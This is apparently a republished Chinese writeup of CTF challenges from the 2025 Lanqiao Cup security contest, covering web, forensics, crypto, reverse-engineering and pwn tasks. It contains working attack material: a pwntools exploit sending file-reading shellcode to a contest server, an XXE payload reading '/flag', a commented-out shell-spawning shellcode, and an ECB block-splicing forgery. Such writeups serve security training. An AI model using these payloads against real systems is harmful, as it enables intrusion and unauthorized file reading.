2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup

2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup

  • 2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
    • 情报收集
      • 黑客密室逃脱
    • 数据分析
      • ezEvtx
      • flowzip
    • 密码破解
      • Enigma
      • ECBTrain
      • easy_AES
    • 逆向分析
      • ShadowPhases
    • 漏洞挖掘分析
      • RuneBreach
      • 星际XML解析器

2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup

情报收集

黑客密室逃脱

根据网页提示,一步步进行,最后得到读取文件接口,尝试读取./,报错:

在这里插入图片描述

得知这个python文件为app.py,直接读取源码:

在这里插入图片描述

发现它将key写入了文件中,读取key:

在这里插入图片描述

secret_key8969

密文在一开始的页面中,

编写脚本如下:

def simple_encrypt(text, key):encrypted = bytearray()for i in range(len(text)):char = text[i]key_char = key[i % len(key)]encrypted.append(ord(char) + ord(key_char))return encrypted.hex()def simple_decrypt(text, key):encrypted = bytearray()for i in range(len(text)):char = text[i]key_char = key[i % len(key)]encrypted.append(char - ord(key_char))return encryptedprint(simple_decrypt(b''.fromhex('d9d1c4d9e0da90a197ae9e716e66a7959aa592a8c0cd98a6706d699aa098c6abc6ab93cecada9b6f98b6'),'secret_key8969'))

数据分析

ezEvtx

下载文件,双击打开,按事件ID排序,找到了一个跟别的事件id不同的事件:

在这里插入图片描述

答案即为 confidential.docx。

flowzip

wireshark 打开,过滤器设置为 tcp contains "flag"

在这里插入图片描述

直接看到 flag。

密码破解

Enigma

打开网页,是cyberchef的网页,打开自己的本地Cyberchef,设置相同的参数,解出原文:

在这里插入图片描述

file:///D:/Windows/CTF%20tools/Cryptography/CyberChef/CyberChef_v10.19.4.html#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','EKMFLGDQVZNTOWYHXUSPAIBRCJ%3CR','A','A','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','A','A','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','',true)&input=SUxCREEgTUhTV1ggTU9STlogRERET1QgS1VZWkEgVlNCSkM&oeol=NEL

原文为:

HELLO CTFER THISI SAMES SAGEF ORYOU

ECBTrain

根据尝试,发现用户名相同时,得到的auth相同,且base64解码后总为16字节,猜测auth为用户名加密后的结果,用户名不能设置为admin,结合题目提示,第二块明文设置为admin,脚本如下:

from pwn import *p = remote("8.147.132.32", 18450)p.recvuntil('请输入选项编号: '.encode())p.sendline(b'1')
p.sendline(b'a'*16+b'admin')
p.sendline(b'aaa')p.interactive()

在这里插入图片描述

得到auth后base64解码,截取后16字节后base64编码,选择登录,输入auth,得到flag。

easy_AES

关键点在于key1是由key0进行置换后得到的,尝试编写脚本爆破置换表后进行解密。

编写脚本如下:

from Crypto.Cipher import AES  # 导入AES加密模块
# from secret import flag       # 从secret模块导入flag(假设为明文)
import random, os             # 导入random和os模块用于随机数生成# 为消息填充字节,使其长度为16的倍数
def pad(msg):return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])# 对密钥进行随机置换,生成新密钥
def permutation(key):tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表(去掉"0x"前缀)random.shuffle(tables)                    # 随机打乱表newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥return newkey# 生成初始密钥key0及其置换密钥key1
def gen():key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串key1 = permutation(key0)     # 对key0进行置换生成key1return key0, key1# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IVaes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IVreturn aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文def decrypt(key0, key1, msg):aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IVaes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IVreturn aes0.decrypt(aes1.encrypt(msg))    # 先加密后解密生成密文'''
# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数gift = a0 & a1  # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flagprint(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")'''
gift = 64698960125130294692475067384121553664
# key1 = b''.fromhex('74aeb356c6eb74f364cd316497c0f714')
key1 = int('74aeb356c6eb74f364cd316497c0f714', 16)
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'# gift = bytes.fromhex(hex(gift)[2:])
# key1 = bytes.fromhex(hex(key1)[2:])
gift = hex(gift)[2:]
key1 = hex(key1)[2:]
key0 = [[-1]]*16print(gift)
print(key1)
print(key0)for i in range(32):key_new = []for j in range(16):if int(key1[i],16) & j == int(gift[i],16):# print(j)key_new.append(hex(j)[2:])# print(int(key1[i],16))key0[int(key1[i],16)] = key_newfor i in range(len(key0)):if key0[i][0] == -1:key0[i] = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
print(key0)
key0a = []def gogogo(used,i):global key0,key0afor j in key0[i]:if j not in used:if i != 15:used2 = used + [j]# print(used2)gogogo(used2, i+1)else:key0a.append(used + [j])gogogo([],0)
# print(key0a)# for i in key0a:
#     if not i is list:
#         continue
#     # for j in range(len(key1)):
#     #     try:
#     #         newkey = "".join(i[int(key1[j], 16)])
#     #     except:
#     #         print(i)
#     #         print(int(key1[j], 16))
#     #         print(i[int(key1[j], 16)])
#     #         exit(0)
#     newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))
#     try:
#         ret = decrypt(newkey, key1, cipher)
#         if b'flag' in ret:
#             print(ret)
#             break
#     except:
#         print(newkey)ret_all = b''for i in key0a:newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))# print(newkey)a0, a1 = int(newkey, 16), int(key1, 16)if a0 & a1 == 64698960125130294692475067384121553664:# print(newkey)ret = decrypt(bytes.fromhex(newkey), bytes.fromhex(key1), cipher)# print(ret)ret_all += retwith open('result.txt', 'wb') as f:f.write(ret_all)

打开写出的 result.txt,搜索 flag:

在这里插入图片描述

逆向分析

ShadowPhases

IDA打开程序,发现解密代码,直接复制执行即可:

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>using namespace std;
typedef long long LL;
typedef long double DD;__int64 __fastcall sub_40159A(unsigned __int8 a1)
{return (2 * a1) | (unsigned int)(a1 >> 7);
}unsigned __int64 __fastcall sub_4015B6(__int64 a1, unsigned __int64 a2, char a3)
{unsigned __int64 result; // raxunsigned __int64 i; // [rsp+28h] [rbp-8h]for ( i = 0; ; ++i ){result = i;if ( i >= a2 )break;*(_BYTE *)(i + a1) = a3 ^ sub_40159A(*(unsigned __int8 *)(a1 + i));}return result;
}int main()
{char Str1[128]; // [rsp+30h] [rbp-50h] BYREFchar Str2[128]; // [rsp+B0h] [rbp+30h] BYREFvoid *v6; // [rsp+130h] [rbp+B0h]void *v7; // [rsp+138h] [rbp+B8h]void *v8; // [rsp+140h] [rbp+C0h]void *v9; // [rsp+150h] [rbp+D0h]void *v10; // [rsp+158h] [rbp+D8h]void *v11; // [rsp+160h] [rbp+E0h]char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREFchar v13[15]; // [rsp+17Bh] [rbp+FBh] BYREFchar Src[14]; // [rsp+18Ah] [rbp+10Ah] BYREFchar* v15; // [rsp+18Fh] [rbp+10Fh] BYREFvoid *v16; // [rsp+198h] [rbp+118h]void *v17; // [rsp+1A0h] [rbp+120h]void *Block; // [rsp+1A8h] [rbp+128h]char v19[6]; // [rsp+1B2h] [rbp+132h] BYREFsize_t v20; // [rsp+1B8h] [rbp+138h]size_t v21; // [rsp+1C0h] [rbp+140h]size_t Size; // [rsp+1C8h] [rbp+148h]v15 = Src + 5;Src[0] = 0;Src[1] = 5;Src[2] = -125;Src[3] = 0x80;Src[4] = -114;strcpy(v15, "+");v15[2] = -125;v15[3] = 47;v15[4] = -86;v15[5] = 43;v15[6] = -127;v15[7] = -88;v15[8] = -91;Size = 14;v13[0] = 19;v13[1] = 57;v13[2] = -66;v13[3] = -66;v13[4] = -76;v13[5] = 56;v13[6] = -72;v13[7] = -70;v13[8] = -69;v13[9] = -76;v13[10] = 62;v13[11] = -112;v13[12] = 58;v13[13] = -70;v13[14] = -76;v21 = 15;v12[0] = -117;v12[1] = -119;v12[2] = 34;v12[3] = -120;v12[4] = -117;v12[5] = 32;v12[6] = 9;v12[7] = 34;v12[8] = -120;v12[9] = 8;v12[10] = -115;v12[11] = -120;v12[12] = -81;v20 = 13;v19[5] = -103;v19[4] = -35;v19[3] = -1;qmemcpy(v19, "\"Df", 3);Block = malloc(0xFu);v17 = malloc(v21 + 1);v16 = malloc(v20 + 1);memcpy(Block, Src, Size);memcpy(v17, v13, v21);memcpy(v16, v12, v20);sub_4015B6((long long)Block, Size, (unsigned __int8)v19[2]);sub_4015B6((long long)v17, v21, (unsigned __int8)v19[1]);sub_4015B6((long long)v16, v20, (unsigned __int8)v19[0]);*((_BYTE *)Block + Size) = 0;*((_BYTE *)v17 + v21) = 0;*((_BYTE *)v16 + v20) = 0;v9 = v17;v10 = v16;v11 = Block;v6 = Block;v7 = v17;v8 = v16;snprintf(Str2, 128, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);printf(Str2);return 0; //-22 61 13 92
}

漏洞挖掘分析

RuneBreach

IDA打开,发现在被boss击败后(一直输入n),可以获得一次read后直接执行的机会,但是由于seccomp限制,不能getshell,只能读取flag。代码如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-from pwn import *context.log_level = "debug"
context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', '--title', 'gdb', 'bash', '-c']# p = remote("challenge.qsnctf.com", 30714)
p = remote("39.106.25.161", 37397)
# p = process("./chall")
# elf = ELF("/mnt/c/Users/崔志鹏/Desktop/临时/RANDOM")
# _libc = ELF('./libc.so.6')# target_address = 0x40094E
# ret_address = 0x40066A
# pop_rdi = 0x400743# 64位
context(arch="amd64",os="linux")
stack_len = 0x80 + 0x8# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"    #64位 23字节
# shellcode = asm(shellcraft.sh())	#自动生成shellcode
shellcode = asm(shellcraft.cat("flag"))
# shellcode = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"# payload = shellcode.ljust(stack_len , b"\x00") + p64(jmp_rsp_address) + asm("sub rsp, 0x90") + asm("jmp rsp")
# payload = stack_len * b"\x00" + p64(target_address)p.recvuntil(b'==== BOSS BATTLE START ====\n\n')p.recvline()while(True):p.recvline()p.recvline()p.recvline()# p.recvline()p.sendline(b'n')p.recvline()p.recvline()ret = p.recvline()if not ret.startswith(b'-- Round '):breakp.recvuntil(b'Say your last word to your territory:')
# gdb.attach(p)
# input()
p.send(shellcode)
# p.send(payload)p.interactive()

在这里插入图片描述

星际XML解析器

可以解析XML,直接利用XXE读取flag:

在这里插入图片描述

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds><user>&xxe;</user><pass>mypass</pass>
</creds>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/78513.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSS Position 属性完全指南

CSS 中的 position 属性是布局的基础&#xff0c;它决定了元素在页面中的定位方式。理解各种定位值的行为和适用场景对于构建灵活、响应式的布局至关重要。 position 属性的五个主要值 1. static&#xff08;默认值&#xff09; 元素遵循正常的文档流不受 top, right, botto…

Java集成Redisson实现分布式锁(实战)

一、Redisson是什么 Redisson 是一个基于 Redis 实现的 Java 驻内存数据网格&#xff08;In-Memory Data Grid&#xff09;。它不仅提供了一系列分布式和可扩展的 Java 数据结构&#xff0c;还对 Redis 进行了封装&#xff0c;让开发者可以更便捷地使用 Redis。 二、Redisson…

linux的例行性工作(at)

使用场景&#xff1a; 生活中&#xff0c;我们有太多场景需要使用到闹钟&#xff0c;比如早上 7 点起床&#xff0c;下午 4 点开会&#xff0c;晚上 8 购物&#xff0c;等等 在 Linux 系统里&#xff0c;我们同样也有类似的需求。比如我们想在凌晨 1 点将文件上传服务器&#…

AAAI2016论文 UCO: A Unified Cybersecurity Ontology

作者信息 作者同样是来自马里兰大学的。 严格说来&#xff0c;此文是Workshop论文&#xff0c;但是一篇非常经典的文章&#xff08;极少数尝试构造通用安全本体的文章&#xff09;&#xff0c;引用非常多。 中心思想 设计UCO&#xff0c;集成来自不同网络安全系统的异构数据…

【白雪讲堂】构建与优化企业知识图谱的实战指南

在GEO&#xff08;生成式引擎优化&#xff09;时代&#xff0c;知识图谱不仅是企业数据资产的“智慧大脑”&#xff0c;更是连接内容与AI理解之间的核心桥梁。一个高质量的知识图谱&#xff0c;能够显著提高AI平台对企业内容的识别度、相关性与推荐权重&#xff0c;从而在AI搜索…

什么是WebSocket?NGINX如何支持WebSocket协议?

大家好&#xff0c;我是锋哥。今天分享关于【什么是WebSocket&#xff1f;NGINX如何支持WebSocket协议&#xff1f;】面试题。希望对大家有帮助&#xff1b; 什么是WebSocket&#xff1f;NGINX如何支持WebSocket协议&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java…

【免费项目分享】(项目加说明文档)基于Go语言的城市电动汽车充电桩管理系统设计与实现

免费项目分享系列&#xff0c;需要的可后台 基于Go语言的城市电动汽车充电桩管理系统设计与实现 技术&#xff1a;Go、Beego框架、Vue、MySQL 地址&#xff1a;https://download.csdn.net/download/weixin_53920044/90697080 用户功能 1.充电桩搜索与导航&#xff1a;用户可以…

线程池单例模式

线程池的概念 线程池是一种线程使用模式。 一种线程使用模式。线程过多会带来调度开销&#xff0c;进而影响缓存局部性和整体性能。而线程池维护着多个线程&#xff0c;等待着监督管理者分配可并发执行的任务。…

【Android Compose】焦点管理

官方文档链接&#xff1a; https://developer.android.google.cn/develop/ui/compose/touch-input/focus?hlzh-cn 1、更改焦点遍历顺序 1.1、替换一维遍历顺序 &#xff08;1&#xff09;创建焦点引用对象&#xff1a; /// 创建4个引用对象&#xff08;二选一&#xff09…

dwj2025426

目录 一、25. K 个一组翻转链表 - 力扣&#xff08;LeetCode&#xff09; 二、 215. 数组中的第K个最大元素 - 力扣&#xff08;LeetCode&#xff09; 三、 15. 三数之和 - 力扣&#xff08;LeetCode&#xff09; 一、25. K 个一组翻转链表 - 力扣&#xff08;LeetCode&#…

C++ std::forward 详解

在 C 11 引入的众多特性中&#xff0c;std::forward占据着独特且重要的地位。它主要用于实现所谓的 “完美转发”&#xff0c;这一机制在现代 C 编程中发挥着关键作用&#xff0c;尤其是在编写通用库和高效代码时。 什么是完美转发&#xff1f; 完美转发是指在函数模板中&…

如何保证线程安全(含典型手段与应用场景)

✨ 1. 什么是线程安全&#xff1f; 线程安全指的是&#xff1a;当多个线程同时访问同一块代码时&#xff0c;无论运行时环境采用怎样的调度方式或者这些线程将怎样交替执行&#xff0c;代码的行为都能正确执行&#xff0c;且不会出现数据不一致、脏数据或异常崩溃。 举个简单…

Qt/C++开发监控GB28181系统/协议解释说明/SIP内容解释/每一行数据什么含义

一、前言 搞gb28181开发&#xff0c;首要任务就是解析协议&#xff0c;按照gb28181的文档来&#xff0c;还是非常详细的&#xff0c;通过抓包工具可以查看到具体的收发数据&#xff0c;也可以打开网络调试助手工具&#xff0c;监听5060端口&#xff0c;看到上报的数据&#xf…

C++:string 1

练习题&#xff1a; 这个题的思路是从前往后&#xff0c;从后往前同时找&#xff0c;不是字母的话就继续&#xff0c;是的话就交换。 代码&#xff1a; #define _CRT_SECURE_NO_WARNINGS 1 #include <iostream> #include <string> using namespace std; //1、4个…

SMT贴片加工费控制与优化实践指南

内容概要 SMT贴片加工费的控制与优化需建立在对成本结构的系统性认知基础上。本节从物料采购、设备运行、工艺参数三大维度切入&#xff0c;结合BOM清单管理、钢网使用规范等实操环节&#xff0c;构建覆盖全流程的降本增效框架。以下表格列举了SMT加工成本的典型构成要素及其占…

未来医院已来:AI如何实现无死角安全监控

AI智慧医院如何用算法守护安全与效率 ## 背景&#xff1a;医疗场景的智能化转型需求 现代医院作为人员密集、场景复杂的公共场所&#xff0c;面临诸多管理痛点&#xff1a;患者跌倒可能延误救治、医闹事件威胁安全、医疗垃圾处置不当引发感染风险、重点区域&#xff08;如药…

Nuxt3中使用UnoCSS指南

Nuxt3中使用UnoCSS指南 UnoCSS是一个高度可定制的、原子化CSS引擎&#xff0c;可以轻松集成到Nuxt3项目中。下面介绍如何在Nuxt3中安装和配置UnoCSS。 安装步骤 安装UnoCSS的Nuxt模块&#xff1a; # 使用pnpm pnpm add -D unocss unocss/nuxt# 使用yarn yarn add -D unocss…

mmap详解

mmap详解 mmap基础概念mmap内存映射原理mmap相关函数调用mmap的使用细节mmap和常规文件操作的区别 mmap基础概念 mmap是一种内存映射文件的方法&#xff0c;即将一个文件或者其它对象映射到进程的地址空间&#xff0c;实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一…

Vue3的内置组件 -实现过渡动画 TransitionGroup

Vue3的内置组件 -实现过渡动画 TransitionGroup 是一个内置组件&#xff0c;用于对 v-for 列表中的元素或组件的插入、移除和顺序改变添加动画效果 支持和 基本相同的 props、CSS 过渡 class 和 JavaScript 钩子监听器&#xff0c;但有以下几点区别&#xff1a; 默认情况下&…

【软考-架构】14、软件可靠性基础

✨资料&文章更新✨ GitHub地址&#xff1a;https://github.com/tyronczt/system_architect 文章目录 软件可靠性基本概念软件可靠性建模软件可靠性管理软件可靠性设计N版本程序设计恢复块设计&#xff08;动态冗余&#xff09;双机容错技术、集群技术负载均衡软件可靠性测试…